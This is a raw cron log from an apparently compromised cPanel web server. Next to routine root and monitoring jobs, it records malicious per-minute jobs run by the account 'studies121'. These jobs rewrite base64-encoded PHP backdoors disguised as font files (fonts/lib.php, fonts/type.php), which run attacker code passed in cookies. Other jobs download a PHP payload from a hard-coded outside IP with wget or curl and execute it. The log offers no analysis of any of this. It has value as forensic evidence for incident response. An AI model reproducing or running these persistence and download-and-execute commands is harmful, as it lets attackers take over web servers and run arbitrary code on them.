Sep 10 21:18:02 ip-184-168-122-23 CROND[11609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:18:02 ip-184-168-122-23 CROND[11611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:18:02 ip-184-168-122-23 CROND[11616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:18:02 ip-184-168-122-23 CROND[11617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:19:01 ip-184-168-122-23 CROND[11707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:19:01 ip-184-168-122-23 CROND[11710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:19:01 ip-184-168-122-23 CROND[11709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:19:01 ip-184-168-122-23 CROND[11711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:20:01 ip-184-168-122-23 CROND[11805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:20:01 ip-184-168-122-23 CROND[11807]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 21:20:01 ip-184-168-122-23 CROND[11808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:20:01 ip-184-168-122-23 CROND[11811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:20:01 ip-184-168-122-23 CROND[11810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:20:01 ip-184-168-122-23 CROND[11816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:20:01 ip-184-168-122-23 CROND[11809]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 21:20:01 ip-184-168-122-23 CROND[11815]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:20:01 ip-184-168-122-23 CROND[11813]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:21:01 ip-184-168-122-23 CROND[11931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:21:01 ip-184-168-122-23 CROND[11934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:21:01 ip-184-168-122-23 CROND[11932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:21:01 ip-184-168-122-23 CROND[11933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:22:01 ip-184-168-122-23 CROND[12117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:22:01 ip-184-168-122-23 CROND[12118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:22:01 ip-184-168-122-23 CROND[12120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:22:01 ip-184-168-122-23 CROND[12121]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:22:01 ip-184-168-122-23 CROND[12122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:23:01 ip-184-168-122-23 CROND[12218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:23:01 ip-184-168-122-23 CROND[12220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:23:01 ip-184-168-122-23 CROND[12222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:23:01 ip-184-168-122-23 CROND[12221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:24:01 ip-184-168-122-23 CROND[12336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:24:01 ip-184-168-122-23 CROND[12337]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:24:01 ip-184-168-122-23 CROND[12339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:24:01 ip-184-168-122-23 CROND[12340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:24:01 ip-184-168-122-23 CROND[12338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:25:01 ip-184-168-122-23 CROND[12437]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:25:01 ip-184-168-122-23 CROND[12439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:25:01 ip-184-168-122-23 CROND[12441]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:25:01 ip-184-168-122-23 CROND[12442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:25:01 ip-184-168-122-23 CROND[12440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:25:01 ip-184-168-122-23 CROND[12443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:26:01 ip-184-168-122-23 CROND[12552]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:26:01 ip-184-168-122-23 CROND[12554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:26:01 ip-184-168-122-23 CROND[12555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:26:01 ip-184-168-122-23 CROND[12557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:26:01 ip-184-168-122-23 CROND[12556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:27:01 ip-184-168-122-23 CROND[12652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:27:01 ip-184-168-122-23 CROND[12654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:27:01 ip-184-168-122-23 CROND[12653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:27:01 ip-184-168-122-23 CROND[12656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:28:01 ip-184-168-122-23 CROND[12820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:28:01 ip-184-168-122-23 CROND[12822]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:28:01 ip-184-168-122-23 CROND[12823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:28:01 ip-184-168-122-23 CROND[12824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:28:01 ip-184-168-122-23 CROND[12825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:29:01 ip-184-168-122-23 CROND[12927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 21:29:01 ip-184-168-122-23 CROND[12930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 21:29:01 ip-184-168-122-23 CROND[12931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:29:01 ip-184-168-122-23 CROND[12929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:30:01 ip-184-168-122-23 CROND[13018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:30:01 ip-184-168-122-23 CROND[13020]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 21:30:01 ip-184-168-122-23 CROND[13024]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 21:30:01 ip-184-168-122-23 CROND[13022]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:30:01 ip-184-168-122-23 CROND[13021]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
